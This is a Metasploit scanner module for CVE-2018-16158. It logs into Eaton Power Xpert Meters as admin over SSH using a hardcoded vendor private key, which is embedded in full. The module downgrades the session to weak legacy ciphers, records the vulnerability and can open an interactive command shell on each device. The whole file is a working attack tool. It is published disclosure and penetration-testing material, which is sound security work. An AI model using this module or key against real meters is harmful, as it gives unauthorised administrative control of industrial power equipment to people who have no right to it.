Eaton Xpert Meter SSH Private Key Exposure Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
###  
  
# XXX: This shouldn't be necessary but is now  
require 'net/ssh'  
require 'net/ssh/command_stream'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SSH  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::CommandShell  
include Msf::Auxiliary::Report  
include Msf::Sessions::CreateSessionOptions  
include Msf::Auxiliary::ReportSummary  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Eaton Xpert Meter SSH Private Key Exposure Scanner',  
'Description' => %q{  
Eaton Power Xpert Meters running firmware below version 12.x.x.x or  
below version 13.3.x.x ship with a public/private key pair that  
facilitate remote administrative access to the devices.  
Tested on: Firmware 12.1.9.1 and 13.3.2.10.  
},  
'Author' => [  
'BrianWGray'  
],  
'References' => [  
['CVE', '2018-16158'],  
['EDB', '45283'],  
['URL', 'https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'],  
['URL', 'https://www.ctrlu.net/vuln/0006.html']  
],  
'DisclosureDate' => '2018-07-18',  
'License' => MSF_LICENSE  
))  
  
register_options([  
Opt::RPORT(22)  
])  
  
register_advanced_options([  
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),  
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])  
])  
end  
  
def run_host(ip)  
  
# Specified Kex/Encryption downgrade requirements must be set to connect to the Power Meters.  
ssh_opts = ssh_client_defaults.merge({  
auth_methods: ['publickey'],  
port: rport,  
key_data: [ key_data ],  
hmac: ['hmac-sha1'],  
encryption: ['aes128-cbc'],  
kex: ['diffie-hellman-group1-sha1'],  
host_key: ['ssh-rsa']  
})  
  
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(ip, 'admin', ssh_opts)  
end  
rescue Net::SSH::Exception => e  
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")  
return  
end  
  
return unless ssh  
  
print_good("#{ip}:#{rport} - Logged in as admin")  
  
version = ssh.transport.server_version.version  
  
report_vuln(  
host: ip,  
name: self.name,  
refs: self.references,  
info: version  
)  
  
shell = Net::SSH::CommandStream.new(ssh)  
  
# XXX: Wait for CommandStream to log a channel request failure  
sleep 0.1  
  
if (e = shell.error)  
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")  
return  
end  
  
info = "#{self.name} (#{version})"  
  
ds_merge = {  
'USERNAME' => 'admin'  
}  
  
if datastore['CreateSession']  
start_session(self, info, ds_merge, false, shell.lsock)  
end  
  
# XXX: Ruby segfaults if we don't remove the SSH socket  
remove_socket(ssh.transport.socket)  
end  
  
def rport  
datastore['RPORT']  
end  
  
def key_data  
<<EOF  
-----BEGIN RSA PRIVATE KEY-----  
MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj  
C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl  
TyfL+q6BYAtAeNsho8eP/fMwrT2vhylNJ4BTsJbmdDJMoaaHu/0IB9Z9ywIBIwKB  
gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA/  
c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP  
I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W  
gA1/WSQrFxTt28mFeUC8enGvKLRm1Nnxk/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3  
YzqKMzUCQQDF7GrnrxNXWsIAli/UZscqIovN2ABRa2y8/JYPQAV/KRQ44vet2aaB  
trQBK9czk0QLlBfXrKsofBW81+Swiwz/AkEAh8q/FX68zY8Ssod4uGmg+oK3ZYZd  
O0kVKop8WVXY65QIN3LdlZm/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf  
z54t9zq2AEjyqP64gi4JY/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z  
zyf7XM6ONycIrYVeFQJABB8eqx/R/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh  
7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==  
-----END RSA PRIVATE KEY-----  
EOF  
end  
end  
`